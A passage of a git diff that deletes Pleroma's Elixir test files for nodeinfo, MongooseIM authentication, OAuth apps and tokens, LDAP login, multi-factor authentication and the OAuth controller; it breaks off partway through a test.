"Pleroma's really cool!" - } - }) - - assert Utils.scrub_html_and_truncate(note) == "Pleroma's really cool!" - end - end - - describe "scrub_html_and_truncate/2" do - test "it returns text without encode HTML" do - assert Utils.scrub_html_and_truncate("Pleroma's really cool!") == "Pleroma's really cool!" - end - end -end diff --git a/test/web/mongooseim/mongoose_im_controller_test.exs b/test/web/mongooseim/mongoose_im_controller_test.exs deleted file mode 100644 index 5176cde84..000000000 --- a/test/web/mongooseim/mongoose_im_controller_test.exs +++ /dev/null @@ -1,81 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MongooseIMController do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - test "/user_exists", %{conn: conn} do - _user = insert(:user, nickname: "lain") - _remote_user = insert(:user, nickname: "alice", local: false) - _deactivated_user = insert(:user, nickname: "konata", deactivated: true) - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "lain") - |> json_response(200) - - assert res == true - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "alice") - |> json_response(404) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "bob") - |> json_response(404) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :user_exists), user: "konata") - |> json_response(404) - - assert res == false - end - - test "/check_password", %{conn: conn} do - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("cool")) - - _deactivated_user = - insert(:user, - nickname: "konata", - deactivated: true, - password_hash: Pbkdf2.hash_pwd_salt("cool") - ) - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "cool") - |> json_response(200) - - assert res == true - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "uncool") - |> json_response(403) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: "konata", pass: "cool") - |> json_response(404) - - assert res == false - - res = - conn - |> get(mongoose_im_path(conn, :check_password), user: "nobody", pass: "cool") - |> json_response(404) - - assert res == false - end -end diff --git a/test/web/node_info_test.exs b/test/web/node_info_test.exs deleted file mode 100644 index 06b33607f..000000000 --- a/test/web/node_info_test.exs +++ /dev/null @@ -1,188 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.NodeInfoTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Config - - setup do: clear_config([:mrf_simple]) - setup do: clear_config(:instance) - - test "GET /.well-known/nodeinfo", %{conn: conn} do - links = - conn - |> get("/.well-known/nodeinfo") - |> json_response(200) - |> Map.fetch!("links") - - Enum.each(links, fn link -> - href = Map.fetch!(link, "href") - - conn - |> get(href) - |> json_response(200) - end) - end - - test "nodeinfo shows staff accounts", %{conn: conn} do - moderator = insert(:user, local: true, is_moderator: true) - admin = insert(:user, local: true, is_admin: true) - - conn = - conn - |> get("/nodeinfo/2.1.json") - - assert result = json_response(conn, 200) - - assert moderator.ap_id in result["metadata"]["staffAccounts"] - assert admin.ap_id in result["metadata"]["staffAccounts"] - end - - test "nodeinfo shows restricted nicknames", %{conn: conn} do - conn = - conn - |> get("/nodeinfo/2.1.json") - - assert result = json_response(conn, 200) - - assert Config.get([Pleroma.User, :restricted_nicknames]) == - result["metadata"]["restrictedNicknames"] - end - - test "returns software.repository field in nodeinfo 2.1", %{conn: conn} do - conn - |> get("/.well-known/nodeinfo") - |> json_response(200) - - conn = - conn - |> get("/nodeinfo/2.1.json") - - assert result = json_response(conn, 200) - assert Pleroma.Application.repository() == result["software"]["repository"] - end - - test "returns fieldsLimits field", %{conn: conn} do - clear_config([:instance, :max_account_fields], 10) - clear_config([:instance, :max_remote_account_fields], 15) - clear_config([:instance, :account_field_name_length], 255) - clear_config([:instance, :account_field_value_length], 2048) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["fieldsLimits"]["maxFields"] == 10 - assert response["metadata"]["fieldsLimits"]["maxRemoteFields"] == 15 - assert response["metadata"]["fieldsLimits"]["nameLength"] == 255 - assert response["metadata"]["fieldsLimits"]["valueLength"] == 2048 - end - - test "it returns the safe_dm_mentions feature if enabled", %{conn: conn} do - clear_config([:instance, :safe_dm_mentions], true) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert "safe_dm_mentions" in response["metadata"]["features"] - - Config.put([:instance, :safe_dm_mentions], false) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - refute "safe_dm_mentions" in response["metadata"]["features"] - end - - describe "`metadata/federation/enabled`" do - setup do: clear_config([:instance, :federating]) - - test "it shows if federation is enabled/disabled", %{conn: conn} do - Config.put([:instance, :federating], true) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["enabled"] == true - - Config.put([:instance, :federating], false) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["enabled"] == false - end - end - - test "it shows default features flags", %{conn: conn} do - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - default_features = [ - "pleroma_api", - "mastodon_api", - "mastodon_api_streaming", - "polls", - "pleroma_explicit_addressing", - "shareable_emoji_packs", - "multifetch", - "pleroma_emoji_reactions", - "pleroma:api/v1/notifications:include_types_filter", - "pleroma_chat_messages" - ] - - assert MapSet.subset?( - MapSet.new(default_features), - MapSet.new(response["metadata"]["features"]) - ) - end - - test "it shows MRF transparency data if enabled", %{conn: conn} do - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) - clear_config([:mrf, :transparency], true) - - simple_config = %{"reject" => ["example.com"]} - clear_config(:mrf_simple, simple_config) - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["mrf_simple"] == simple_config - end - - test "it performs exclusions from MRF transparency data if configured", %{conn: conn} do - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.SimplePolicy]) - clear_config([:mrf, :transparency], true) - clear_config([:mrf, :transparency_exclusions], ["other.site"]) - - simple_config = %{"reject" => ["example.com", "other.site"]} - clear_config(:mrf_simple, simple_config) - - expected_config = %{"reject" => ["example.com"]} - - response = - conn - |> get("/nodeinfo/2.1.json") - |> json_response(:ok) - - assert response["metadata"]["federation"]["mrf_simple"] == expected_config - assert response["metadata"]["federation"]["exclusions"] == true - end -end diff --git a/test/web/oauth/app_test.exs b/test/web/oauth/app_test.exs deleted file mode 100644 index 993a490e0..000000000 --- a/test/web/oauth/app_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.AppTest do - use Pleroma.DataCase - - alias Pleroma.Web.OAuth.App - import Pleroma.Factory - - describe "get_or_make/2" do - test "gets exist app" do - attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} - app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) - {:ok, %App{} = exist_app} = App.get_or_make(attrs, []) - assert exist_app == app - end - - test "make app" do - attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} - {:ok, %App{} = app} = App.get_or_make(attrs, ["write"]) - assert app.scopes == ["write"] - end - - test "gets exist app and updates scopes" do - attrs = %{client_name: "Mastodon-Local", redirect_uris: "."} - app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]})) - {:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"]) - assert exist_app.id == app.id - assert exist_app.scopes == ["read", "write", "follow", "push"] - end - - test "has unique client_id" do - insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop") - - error = - catch_error(insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop")) - - assert %Ecto.ConstraintError{} = error - assert error.constraint == "apps_client_id_index" - assert error.type == :unique - end - end -end diff --git a/test/web/oauth/authorization_test.exs b/test/web/oauth/authorization_test.exs deleted file mode 100644 index d74b26cf8..000000000 --- a/test/web/oauth/authorization_test.exs +++ /dev/null @@ -1,77 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.AuthorizationTest do - use Pleroma.DataCase - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Authorization - import Pleroma.Factory - - setup do - {:ok, app} = - Repo.insert( - App.register_changeset(%App{}, %{ - client_name: "client", - scopes: ["read", "write"], - redirect_uris: "url" - }) - ) - - %{app: app} - end - - test "create an authorization token for a valid app", %{app: app} do - user = insert(:user) - - {:ok, auth1} = Authorization.create_authorization(app, user) - assert auth1.scopes == app.scopes - - {:ok, auth2} = Authorization.create_authorization(app, user, ["read"]) - assert auth2.scopes == ["read"] - - for auth <- [auth1, auth2] do - assert auth.user_id == user.id - assert auth.app_id == app.id - assert String.length(auth.token) > 10 - assert auth.used == false - end - end - - test "use up a token", %{app: app} do - user = insert(:user) - - {:ok, auth} = Authorization.create_authorization(app, user) - - {:ok, auth} = Authorization.use_token(auth) - - assert auth.used == true - - assert {:error, "already used"} == Authorization.use_token(auth) - - expired_auth = %Authorization{ - user_id: user.id, - app_id: app.id, - valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -10), - token: "mytoken", - used: false - } - - {:ok, expired_auth} = Repo.insert(expired_auth) - - assert {:error, "token expired"} == Authorization.use_token(expired_auth) - end - - test "delete authorizations", %{app: app} do - user = insert(:user) - - {:ok, auth} = Authorization.create_authorization(app, user) - {:ok, auth} = Authorization.use_token(auth) - - Authorization.delete_user_authorizations(user) - - {_, invalid} = Authorization.use_token(auth) - - assert auth != invalid - end -end diff --git a/test/web/oauth/ldap_authorization_test.exs b/test/web/oauth/ldap_authorization_test.exs deleted file mode 100644 index 63b1c0eb8..000000000 --- a/test/web/oauth/ldap_authorization_test.exs +++ /dev/null @@ -1,135 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.LDAPAuthorizationTest do - use Pleroma.Web.ConnCase - alias Pleroma.Repo - alias Pleroma.Web.OAuth.Token - import Pleroma.Factory - import Mock - - @skip if !Code.ensure_loaded?(:eldap), do: :skip - - setup_all do: clear_config([:ldap, :enabled], true) - - setup_all do: clear_config(Pleroma.Web.Auth.Authenticator, Pleroma.Web.Auth.LDAPAuthenticator) - - @tag @skip - test "authorizes the existing user using LDAP credentials" do - password = "testpassword" - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - app = insert(:oauth_app, scopes: ["read", "write"]) - - host = Pleroma.Config.get([:ldap, :host]) |> to_charlist - port = Pleroma.Config.get([:ldap, :port]) - - with_mocks [ - {:eldap, [], - [ - open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, - simple_bind: fn _connection, _dn, ^password -> :ok end, - close: fn _connection -> - send(self(), :close_connection) - :ok - end - ]} - ] do - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) - - assert token.user_id == user.id - assert_received :close_connection - end - end - - @tag @skip - test "creates a new user after successful LDAP authorization" do - password = "testpassword" - user = build(:user) - app = insert(:oauth_app, scopes: ["read", "write"]) - - host = Pleroma.Config.get([:ldap, :host]) |> to_charlist - port = Pleroma.Config.get([:ldap, :port]) - - with_mocks [ - {:eldap, [], - [ - open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, - simple_bind: fn _connection, _dn, ^password -> :ok end, - equalityMatch: fn _type, _value -> :ok end, - wholeSubtree: fn -> :ok end, - search: fn _connection, _options -> - {:ok, {:eldap_search_result, [{:eldap_entry, '', []}], []}} - end, - close: fn _connection -> - send(self(), :close_connection) - :ok - end - ]} - ] do - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"access_token" => token} = json_response(conn, 200) - - token = Repo.get_by(Token, token: token) |> Repo.preload(:user) - - assert token.user.nickname == user.nickname - assert_received :close_connection - end - end - - @tag @skip - test "disallow authorization for wrong LDAP credentials" do - password = "testpassword" - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) - app = insert(:oauth_app, scopes: ["read", "write"]) - - host = Pleroma.Config.get([:ldap, :host]) |> to_charlist - port = Pleroma.Config.get([:ldap, :port]) - - with_mocks [ - {:eldap, [], - [ - open: fn [^host], [{:port, ^port}, {:ssl, false} | _] -> {:ok, self()} end, - simple_bind: fn _connection, _dn, ^password -> {:error, :invalidCredentials} end, - close: fn _connection -> - send(self(), :close_connection) - :ok - end - ]} - ] do - conn = - build_conn() - |> post("/oauth/token", %{ - "grant_type" => "password", - "username" => user.nickname, - "password" => password, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - - assert %{"error" => "Invalid credentials"} = json_response(conn, 400) - assert_received :close_connection - end - end -end diff --git a/test/web/oauth/mfa_controller_test.exs b/test/web/oauth/mfa_controller_test.exs deleted file mode 100644 index 3c341facd..000000000 --- a/test/web/oauth/mfa_controller_test.exs +++ /dev/null @@ -1,306 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.MFAControllerTest do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - alias Pleroma.MFA - alias Pleroma.MFA.BackupCodes - alias Pleroma.MFA.TOTP - alias Pleroma.Repo - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.OAuthController - - setup %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - backup_codes: [Pbkdf2.hash_pwd_salt("test-code")], - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - app = insert(:oauth_app) - {:ok, conn: conn, user: user, app: app} - end - - describe "show" do - setup %{conn: conn, user: user, app: app} do - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - {:ok, conn: conn, mfa_token: mfa_token} - end - - test "GET /oauth/mfa renders mfa forms", %{conn: conn, mfa_token: mfa_token} do - conn = - get( - conn, - "/oauth/mfa", - %{ - "mfa_token" => mfa_token.token, - "state" => "a_state", - "redirect_uri" => "http://localhost:8080/callback" - } - ) - - assert response = html_response(conn, 200) - assert response =~ "Two-factor authentication" - assert response =~ mfa_token.token - assert response =~ "http://localhost:8080/callback" - end - - test "GET /oauth/mfa renders mfa recovery forms", %{conn: conn, mfa_token: mfa_token} do - conn = - get( - conn, - "/oauth/mfa", - %{ - "mfa_token" => mfa_token.token, - "state" => "a_state", - "redirect_uri" => "http://localhost:8080/callback", - "challenge_type" => "recovery" - } - ) - - assert response = html_response(conn, 200) - assert response =~ "Two-factor recovery" - assert response =~ mfa_token.token - assert response =~ "http://localhost:8080/callback" - end - end - - describe "verify" do - setup %{conn: conn, user: user, app: app} do - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - {:ok, conn: conn, user: user, mfa_token: mfa_token, app: app} - end - - test "POST /oauth/mfa/verify, verify totp code", %{ - conn: conn, - user: user, - mfa_token: mfa_token, - app: app - } do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - - conn = - conn - |> post("/oauth/mfa/verify", %{ - "mfa" => %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => otp_token, - "state" => "a_state", - "redirect_uri" => OAuthController.default_redirect_uri(app) - } - }) - - target = redirected_to(conn) - target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() - query = URI.parse(target).query |> URI.query_decoder() |> Map.new() - assert %{"state" => "a_state", "code" => code} = query - assert target_url == OAuthController.default_redirect_uri(app) - auth = Repo.get_by(Authorization, token: code) - assert auth.scopes == ["write"] - end - - test "POST /oauth/mfa/verify, verify recovery code", %{ - conn: conn, - mfa_token: mfa_token, - app: app - } do - conn = - conn - |> post("/oauth/mfa/verify", %{ - "mfa" => %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "recovery", - "code" => "test-code", - "state" => "a_state", - "redirect_uri" => OAuthController.default_redirect_uri(app) - } - }) - - target = redirected_to(conn) - target_url = %URI{URI.parse(target) | query: nil} |> URI.to_string() - query = URI.parse(target).query |> URI.query_decoder() |> Map.new() - assert %{"state" => "a_state", "code" => code} = query - assert target_url == OAuthController.default_redirect_uri(app) - auth = Repo.get_by(Authorization, token: code) - assert auth.scopes == ["write"] - end - end - - describe "challenge/totp" do - test "returns access token with valid code", %{conn: conn, user: user, app: app} do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => otp_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(:ok) - - ap_id = user.ap_id - - assert match?( - %{ - "access_token" => _, - "expires_in" => 600, - "me" => ^ap_id, - "refresh_token" => _, - "scope" => "write", - "token_type" => "Bearer" - }, - response - ) - end - - test "returns errors when mfa token invalid", %{conn: conn, user: user, app: app} do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => "XXX", - "challenge_type" => "totp", - "code" => otp_token, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert response == %{"error" => "Invalid code"} - end - - test "returns error when otp code is invalid", %{conn: conn, user: user, app: app} do - mfa_token = insert(:mfa_token, user: user) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => "XXX", - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert response == %{"error" => "Invalid code"} - end - - test "returns error when client credentails is wrong ", %{conn: conn, user: user} do - otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret) - mfa_token = insert(:mfa_token, user: user) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "totp", - "code" => otp_token, - "client_id" => "xxx", - "client_secret" => "xxx" - }) - |> json_response(400) - - assert response == %{"error" => "Invalid code"} - end - end - - describe "challenge/recovery" do - setup %{conn: conn} do - app = insert(:oauth_app) - {:ok, conn: conn, app: app} - end - - test "returns access token with valid code", %{conn: conn, app: app} do - otp_secret = TOTP.generate_secret() - - [code | _] = backup_codes = BackupCodes.generate() - - hashed_codes = - backup_codes - |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - backup_codes: hashed_codes, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - mfa_token = - insert(:mfa_token, - user: user, - authorization: build(:oauth_authorization, app: app, scopes: ["write"]) - ) - - response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "recovery", - "code" => code, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(:ok) - - ap_id = user.ap_id - - assert match?( - %{ - "access_token" => _, - "expires_in" => 600, - "me" => ^ap_id, - "refresh_token" => _, - "scope" => "write", - "token_type" => "Bearer" - }, - response - ) - - error_response = - conn - |> post("/oauth/mfa/challenge", %{ - "mfa_token" => mfa_token.token, - "challenge_type" => "recovery", - "code" => code, - "client_id" => app.client_id, - "client_secret" => app.client_secret - }) - |> json_response(400) - - assert error_response == %{"error" => "Invalid code"} - end - end -end diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs deleted file mode 100644 index 1200126b8..000000000 --- a/test/web/oauth/oauth_controller_test.exs +++ /dev/null @@ -1,1232 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.OAuth.OAuthControllerTest do - use Pleroma.Web.ConnCase - import Pleroma.Factory - - alias Pleroma.MFA - alias Pleroma.MFA.TOTP - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.Authorization - alias Pleroma.Web.OAuth.OAuthController - alias Pleroma.Web.OAuth.Token - - @session_opts [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - setup do - clear_config([:instance, :account_activation_required]) - clear_config([:instance, :account_approval_required]) - end - - describe "in OAuth consumer mode, " do - setup do - [ - app: insert(:oauth_app), - conn: - build_conn() - |> Plug.Session.call(Plug.Session.init(@session_opts)) - |> fetch_session() - ] - end - - setup do: clear_config([:auth, :oauth_consumer_strategies], ~w(twitter facebook)) - - test "GET /oauth/authorize renders auth forms, including OAuth consumer form", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/authorize", - %{ - "response_type" => "code", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "scope" => "read" - } - ) - - assert response = html_response(conn, 200) - assert response =~ "Sign in with Twitter" - assert response =~ o_auth_path(conn, :prepare_request) - end - - test "GET /oauth/prepare_request encodes parameters as `state` and redirects", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/prepare_request", - %{ - "provider" => "twitter", - "authorization" => %{ - "scope" => "read follow", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state" - } - } - ) - - assert response = html_response(conn, 302) - - redirect_query = URI.parse(redirected_to(conn)).query - assert %{"state" => state_param} = URI.decode_query(redirect_query) - assert {:ok, state_components} = Poison.decode(state_param) - - expected_client_id = app.client_id - expected_redirect_uri = app.redirect_uris - - assert %{ - "scope" => "read follow", - "client_id" => ^expected_client_id, - "redirect_uri" => ^expected_redirect_uri, - "state" => "a_state" - } = state_components - end - - test "with user-bound registration, GET /oauth/<provider>/callback redirects to `redirect_uri` with `code`", - %{app: app, conn: conn} do - registration = insert(:registration) - redirect_uri = OAuthController.default_redirect_uri(app) - - state_params = %{ - "scope" => Enum.join(app.scopes, " "), - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "" - } - - conn = - conn - |> assign(:ueberauth_auth, %{provider: registration.provider, uid: registration.uid}) - |> get( - "/oauth/twitter/callback", - %{ - "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", - "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", - "provider" => "twitter", - "state" => Poison.encode!(state_params) - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ - end - - test "with user-unbound registration, GET /oauth/<provider>/callback renders registration_details page", - %{app: app, conn: conn} do - user = insert(:user) - - state_params = %{ - "scope" => "read write", - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state" - } - - conn = - conn - |> assign(:ueberauth_auth, %{ - provider: "twitter", - uid: "171799000", - info: %{nickname: user.nickname, email: user.email, name: user.name, description: nil} - }) - |> get( - "/oauth/twitter/callback", - %{ - "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", - "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", - "provider" => "twitter", - "state" => Poison.encode!(state_params) - } - ) - - assert response = html_response(conn, 200) - assert response =~ ~r/name="op" type="submit" value="register"/ - assert response =~ ~r/name="op" type="submit" value="connect"/ - assert response =~ user.email - assert response =~ user.nickname - end - - test "on authentication error, GET /oauth/<provider>/callback redirects to `redirect_uri`", %{ - app: app, - conn: conn - } do - state_params = %{ - "scope" => Enum.join(app.scopes, " "), - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "" - } - - conn = - conn - |> assign(:ueberauth_failure, %{errors: [%{message: "(error description)"}]}) - |> get( - "/oauth/twitter/callback", - %{ - "oauth_token" => "G-5a3AAAAAAAwMH9AAABaektfSM", - "oauth_verifier" => "QZl8vUqNvXMTKpdmUnGejJxuHG75WWWs", - "provider" => "twitter", - "state" => Poison.encode!(state_params) - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) == app.redirect_uris - assert get_flash(conn, :error) == "Failed to authenticate: (error description)." - end - - test "GET /oauth/registration_details renders registration details form", %{ - app: app, - conn: conn - } do - conn = - get( - conn, - "/oauth/registration_details", - %{ - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state", - "nickname" => nil, - "email" => "john@doe.com" - } - } - ) - - assert response = html_response(conn, 200) - assert response =~ ~r/name="op" type="submit" value="register"/ - assert response =~ ~r/name="op" type="submit" value="connect"/ - end - - test "with valid params, POST /oauth/register?op=register redirects to `redirect_uri` with `code`", - %{ - app: app, - conn: conn - } do - registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) - redirect_uri = OAuthController.default_redirect_uri(app) - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "register", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "a_state", - "nickname" => "availablenick", - "email" => "available@email.com" - } - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ - end - - test "with unlisted `redirect_uri`, POST /oauth/register?op=register results in HTTP 401", - %{ - app: app, - conn: conn - } do - registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) - unlisted_redirect_uri = "http://cross-site-request.com" - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "register", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => unlisted_redirect_uri, - "state" => "a_state", - "nickname" => "availablenick", - "email" => "available@email.com" - } - } - ) - - assert response = html_response(conn, 401) - end - - test "with invalid params, POST /oauth/register?op=register renders registration_details page", - %{ - app: app, - conn: conn - } do - another_user = insert(:user) - registration = insert(:registration, user: nil, info: %{"nickname" => nil, "email" => nil}) - - params = %{ - "op" => "register", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state", - "nickname" => "availablenickname", - "email" => "available@email.com" - } - } - - for {bad_param, bad_param_value} <- - [{"nickname", another_user.nickname}, {"email", another_user.email}] do - bad_registration_attrs = %{ - "authorization" => Map.put(params["authorization"], bad_param, bad_param_value) - } - - bad_params = Map.merge(params, bad_registration_attrs) - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post("/oauth/register", bad_params) - - assert html_response(conn, 403) =~ ~r/name="op" type="submit" value="register"/ - assert get_flash(conn, :error) == "Error: #{bad_param} has already been taken." - end - end - - test "with valid params, POST /oauth/register?op=connect redirects to `redirect_uri` with `code`", - %{ - app: app, - conn: conn - } do - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) - registration = insert(:registration, user: nil) - redirect_uri = OAuthController.default_redirect_uri(app) - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "connect", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => redirect_uri, - "state" => "a_state", - "name" => user.nickname, - "password" => "testpassword" - } - } - ) - - assert response = html_response(conn, 302) - assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ - end - - test "with unlisted `redirect_uri`, POST /oauth/register?op=connect results in HTTP 401`", - %{ - app: app, - conn: conn - } do - user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("testpassword")) - registration = insert(:registration, user: nil) - unlisted_redirect_uri = "http://cross-site-request.com" - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post( - "/oauth/register", - %{ - "op" => "connect", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => unlisted_redirect_uri, - "state" => "a_state", - "name" => user.nickname, - "password" => "testpassword" - } - } - ) - - assert response = html_response(conn, 401) - end - - test "with invalid params, POST /oauth/register?op=connect renders registration_details page", - %{ - app: app, - conn: conn - } do - user = insert(:user) - registration = insert(:registration, user: nil) - - params = %{ - "op" => "connect", - "authorization" => %{ - "scopes" => app.scopes, - "client_id" => app.client_id, - "redirect_uri" => OAuthController.default_redirect_uri(app), - "state" => "a_state", - "name" => user.nickname, - "password" => "wrong password" - } - } - - conn = - conn - |> put_session(:registration_id, registration.id) - |> post("/oauth/register", params) - - assert html_response(conn, 401) =~ ~r/name="op" type="submit" value="connect"/ - assert get_flash(conn, :error) == "Invalid Username/Password" - end - end - - describe "GET /oauth/authorize" do - setup do - [ - app: insert(:oauth_app, redirect_uris: "https://redirect.url"), - conn: - build_conn() - |> Plug.Session.call(Plug.Session.init(@session_opts)) - |> fetch_session() - ] - end - - test "renders authentication page", %{app: app, conn: 